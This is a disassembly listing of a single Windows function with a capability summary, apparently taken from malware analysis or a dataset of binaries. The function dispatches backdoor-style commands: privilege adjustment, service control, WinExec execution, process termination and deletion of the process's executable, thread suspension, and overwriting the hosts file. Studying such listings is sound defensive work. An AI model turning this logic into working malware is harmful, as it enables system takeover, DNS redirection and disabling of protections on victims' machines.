Function at 0x10006bc0
Capabilities:
Check if file exists
Continue service
Create directory
Delete file
Enumerate threads
Get common file path
Move file
Query service status
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc7c
mov eax, dword [0x10023210]
xor eax, esp
mov dword [esp + 0xc78], eax
push ebx
mov ebx, dword [ebp + 8]
mov al, byte [ebx]
push esi
push edi
mov edi, ecx
cmp al, 0xc9
je case.0x10006bf8.19
movzx eax, al
cmp eax, 0x1e
ja case.0x10006bf8.19
jmp dword [eax*4 + 0x10007660]
call fcn.10007ad0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xc78]
xor ecx, esp
call fcn.1000ee72
mov esp, ebp
pop ebp
ret 8
mov esi, edi
call fcn.10008350
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xc78]
xor ecx, esp
call fcn.1000ee72
mov esp, ebp
pop ebp
ret 8
call fcn.10009e10
mov esi, eax
test esi, esi
je case.0x10006bf8.19
push esi
call dword [sym.imp.KERNEL32.dll_LocalSize]
cmp dword [edi + 8], 0
jne 0x10006c61
mov ecx, dword [edi + 4]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 8]
push esi
call eax
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xc78]
xor ecx, esp
call fcn.1000ee72
mov esp, ebp
pop ebp
ret 8
call fcn.100084c0
jmp 0x10006c3e
call fcn.10009030
jmp 0x10006c3e
mov esi, edi
call fcn.100094f0
jmp 0x10006c3e
mov eax, 0x30
call fcn.100095e0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xc78]
xor ecx, esp
call fcn.1000ee72
mov esp, ebp
pop ebp
ret 8
mov eax, 1
call fcn.100095e0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xc78]
xor ecx, esp
call fcn.1000ee72
mov esp, ebp
pop ebp
ret 8
push edi
call fcn.1000b510
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xc78]
xor ecx, esp
call fcn.1000ee72
mov esp, ebp
pop ebp
ret 8
push edi
call fcn.10009ca0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xc78]
xor ecx, esp
call fcn.1000ee72
mov esp, ebp
pop ebp
ret 8
lea edx, [ebx + 1]
call fcn.1000ae00
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xc78]
xor ecx, esp
call fcn.1000ee72
mov esp, ebp
pop ebp
ret 8
push 0
lea edx, [ebx + 1]
call fcn.1000aff0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xc78]
xor ecx, esp
call fcn.1000ee72
mov esp, ebp
pop ebp
ret 8
push 1
lea edx, [ebx + 1]
call fcn.1000aff0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xc78]
xor ecx, esp
call fcn.1000ee72
mov esp, ebp
pop ebp
ret 8
push 2
lea edx, [ebx + 1]
call fcn.1000aff0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xc78]
xor ecx, esp
call fcn.1000ee72
mov esp, ebp
pop ebp
ret 8
lea ecx, [esp + 0x10]
push ecx
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x10006e02
lea edx, [esp + 0x1c]
push edx
push 0x1001fad8
push 0
mov dword [esp + 0x24], 1
mov dword [esp + 0x30], 2
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov ecx, dword [esp + 0x10]
push 0
push 0
push 0x10
lea eax, [esp + 0x24]
push eax
push 0
push ecx
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x10006df7
mov edx, dword [esp + 0x10]
push edx
jmp 0x10006dfc
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
push 0xf01ff
inc ebx
mov esi, eax
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
lea ecx, [esp + 0x34]
mov ebx, eax
push ecx
push ebx
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [esp + 0x38], 7
jne 0x10006e41
lea edx, [esp + 0x34]
push edx
push 3
push ebx
call dword [sym.imp.ADVAPI32.dll_ControlService]
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call ebx
push esi
call ebx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [edi + 0x20]
push eax
mov ecx, edi
call fcn.10009620
mov ebx, eax
test ebx, ebx
je 0x10006e88
push ebx
call dword [sym.imp.KERNEL32.dll_LocalSize]
cmp dword [edi + 8], 0
jne 0x10006e81
mov edi, dword [edi + 4]
mov edx, dword [edi]
push eax
mov eax, dword [edx + 8]
push ebx
mov ecx, edi
call eax
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea ecx, [esp + 0x10]
push ecx
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je case.0x10006bf8.19
lea edx, [esp + 0x1c]
push edx
push 0x1001fad8
push 0
mov dword [esp + 0x24], 1
mov dword [esp + 0x30], 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov ecx, dword [esp + 0x10]
push 0
push 0
push 0x10
lea eax, [esp + 0x24]
push eax
push 0
push ecx
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x10006f0a
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xc78]
xor ecx, esp
call fcn.1000ee72
mov esp, ebp
pop ebp
ret 8
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xc78]
xor ecx, esp
call fcn.1000ee72
mov esp, ebp
pop ebp
ret 8
push 5
inc ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xc78]
xor ecx, esp
call fcn.1000ee72
mov esp, ebp
pop ebp
ret 8
mov eax, dword [ebx + 1]
mov ebx, dword [ebx + 5]
push ebx
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xc78]
xor ecx, esp
call fcn.1000ee72
mov esp, ebp
pop ebp
ret 8
mov ebx, dword [ebx + 1]
push 0
push 0
push 0x10
push ebx
call dword [sym.imp.USER32.dll_PostMessageW]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xc78]
xor ecx, esp
call fcn.1000ee72
mov esp, ebp
pop ebp
ret 8
mov ecx, 1
call fcn.100076e0
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x5a]
push edx
mov word [esp + 0x5c], cx
call fcn.10014cd0
mov eax, dword [ebx + 1]
add esp, 0xc
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0x208
lea ecx, [esp + 0x54]
push ecx
mov edi, eax
push 0
push edi
mov dword [esp + 0x20], edi
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExW]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp byte [ebx], 0
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
je 0x1000704d
test eax, eax
je 0x1000704d
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea edx, [esp + 0x50]
push edx
xor ebx, ebx
call edi
push 0xc8
call esi
lea eax, [esp + 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x10007049
inc ebx
cmp ebx, 0xa
jge 0x10007049
lea ecx, [esp + 0x50]
push ecx
call edi
push 0xc8
call esi
lea edx, [esp + 0x50]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x10007025
mov edi, dword [esp + 0x10]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call fcn.100076e0
push 0x64
call esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xc78]
xor ecx, esp
call fcn.1000ee72
mov esp, ebp
pop ebp
ret 8
mov ecx, 1
call fcn.100076e0
push 0x206
xor edi, edi
lea ecx, [esp + 0x25e]
xor eax, eax
push edi
push ecx
mov word [esp + 0x264], ax
call fcn.10014cd0
mov edx, dword [ebx + 1]
add esp, 0xc
push edx
push edi
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0x104
lea eax, [esp + 0x25c]
push eax
push edi
push esi
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExW]
cmp byte [ebx + 1], 0
je 0x10007333
lea ecx, [esp + 0xa78]
push ecx
push 0x104
mov dword [esp + 0x18], edi
mov dword [esp + 0x20], 0xc
mov dword [esp + 0x28], edi
mov dword [esp + 0x24], edi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
call fcn.1000fd41
add esp, 4
push eax
call fcn.1000fcd5
add esp, 4
call fcn.1000fce7
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push eax
lea edx, [esp + 0xa7c]
push edx
lea edi, [eax + 1]
lea eax, [esp + 0x468]
push 0x1001fafc
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
add esp, 0x10
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x464]
push edx
call ebx
push str....._
lea eax, [esp + 0x464]
push eax
lea ecx, [esp + 0x58]
push str._s_s
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x54]
push eax
call ebx
push edi
lea ecx, [esp + 0x54]
push ecx
lea edx, [esp + 0x878]
push str._s_d
push edx
call esi
add esp, 0x10
lea eax, [esp + 0x870]
push eax
lea ecx, [esp + 0x25c]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push edi
lea edx, [esp + 0x464]
push edx
lea eax, [esp + 0x670]
push str._s_d
push eax
call esi
add esp, 0x10
lea ecx, [esp + 0x668]
push ecx
lea edx, [esp + 0x54]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileW]
lea eax, [esp + 0x460]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0x258]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je case.0x10006bf8.19
mov eax, dword [esp + 0x10]
inc eax
mov dword [esp + 0x10], eax
cmp eax, 0xa
jge case.0x10006bf8.19
lea edx, [esp + 0xa78]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0
call fcn.1000fd41
add esp, 4
push eax
call fcn.1000fcd5
add esp, 4
call fcn.1000fce7
push eax
lea edi, [eax + 1]
lea eax, [esp + 0xa7c]
push eax
lea ecx, [esp + 0x468]
push 0x1001fafc
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x464]
push eax
call ebx
push str....._
lea ecx, [esp + 0x464]
push ecx
lea edx, [esp + 0x58]
push str._s_s
push edx
call esi
add esp, 0x10
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x54]
push ecx
call ebx
push edi
lea edx, [esp + 0x54]
push edx
lea eax, [esp + 0x878]
push str._s_d
push eax
call esi
add esp, 0x10
lea ecx, [esp + 0x870]
push ecx
lea edx, [esp + 0x25c]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push edi
lea eax, [esp + 0x464]
push eax
lea ecx, [esp + 0x670]
push str._s_d
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0x668]
push edx
lea eax, [esp + 0x54]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
lea ecx, [esp + 0x460]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [esp + 0x258]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x100071fe
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xc78]
xor ecx, esp
call fcn.1000ee72
mov esp, ebp
pop ebp
ret 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call fcn.100076e0
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xc78]
xor ecx, esp
call fcn.1000ee72
mov esp, ebp
pop ebp
ret 8
mov ecx, 1
call fcn.100076e0
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x672]
push ecx
mov word [esp + 0x674], ax
call fcn.10014cd0
mov edx, dword [ebx + 1]
add esp, 0xc
push edx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0x208
lea eax, [esp + 0x66c]
push eax
push 0
push esi
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExW]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call fcn.100076e0
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.10007ad0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xc78]
xor ecx, esp
call fcn.1000ee72
mov esp, ebp
pop ebp
ret 8
mov ecx, 1
call fcn.100076e0
mov ecx, dword [ebx + 1]
push 0
push 4
mov dword [esp + 0x18], ecx
mov dword [esp + 0x20], 0x1c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [esp + 0x14], esi
cmp esi, 0xffffffff
je case.0x10006bf8.19
lea edx, [esp + 0x18]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x10007478
mov edi, dword [sym.imp.KERNEL32.dll_OpenThread]
mov ebx, dword [sym.imp.KERNEL32.dll_SuspendThread]
lea esp, [esp]
mov eax, dword [esp + 0x10]
cmp dword [esp + 0x24], eax
jne 0x10007468
mov ecx, dword [esp + 0x20]
push ecx
push 0
push 0x1fffff
call edi
mov esi, eax
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [esp + 0x14]
lea edx, [esp + 0x18]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x10007440
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xc78]
xor ecx, esp
call fcn.1000ee72
mov esp, ebp
pop ebp
ret 8
mov ecx, 1
call fcn.100076e0
mov eax, dword [ebx + 1]
push 0
push 4
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], 0x1c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je case.0x10006bf8.19
lea ecx, [esp + 0x18]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_Thread32First]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x10007512
mov edi, dword [sym.imp.KERNEL32.dll_Thread32Next]
mov edx, dword [esp + 0x14]
cmp dword [esp + 0x24], edx
je 0x100074f4
lea eax, [esp + 0x18]
push eax
push esi
call edi
jmp 0x100074e0
mov ecx, dword [esp + 0x20]
push ecx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
push edi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push edi
call ebx
push esi
call ebx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xc78]
xor ecx, esp
call fcn.1000ee72
mov esp, ebp
pop ebp
ret 8
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x262]
push eax
mov word [esp + 0x264], dx
call fcn.10014cd0
add esp, 0xc
push 0x208
lea ecx, [esp + 0x25c]
push ecx
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
cmp dword [esp + 0x10], 0
je 0x1000758f
push str._sysnativedriversetchosts
lea eax, [esp + 0x25c]
push eax
jmp 0x1000759c
push str._system32driversetchosts
lea ecx, [esp + 0x25c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x80
lea edx, [esp + 0x25c]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0
push 0
push 2
push 0
push 2
push 0x40000000
lea eax, [esp + 0x270]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je case.0x10006bf8.19
mov edx, dword [ebp + 0xc]
push 0
lea ecx, [esp + 0x18]
push ecx
dec edx
push edx
inc ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
test eax, eax
jne 0x10006f0f
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xc78]
xor ecx, esp
call fcn.1000ee72
mov esp, ebp
pop ebp
ret 8
mov eax, dword [ebp + 0xc]
cmp eax, 0x810
jb case.0x10006bf8.19
mov edx, dword [ebx + 0xd]
add eax, 0xfffff7ef
cmp eax, edx
jne case.0x10006bf8.19
lea eax, [ebx + 0x11]
push eax
mov eax, dword [ebx + 9]
push eax
mov eax, dword [ebx + 1]
push eax
mov eax, dword [ebx + 5]
push eax
lea ecx, [ebx + 0x811]
push edi
call fcn.1000ba40
mov ecx, dword [esp + 0xc84]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1000ee72
mov esp, ebp
pop ebp
ret 8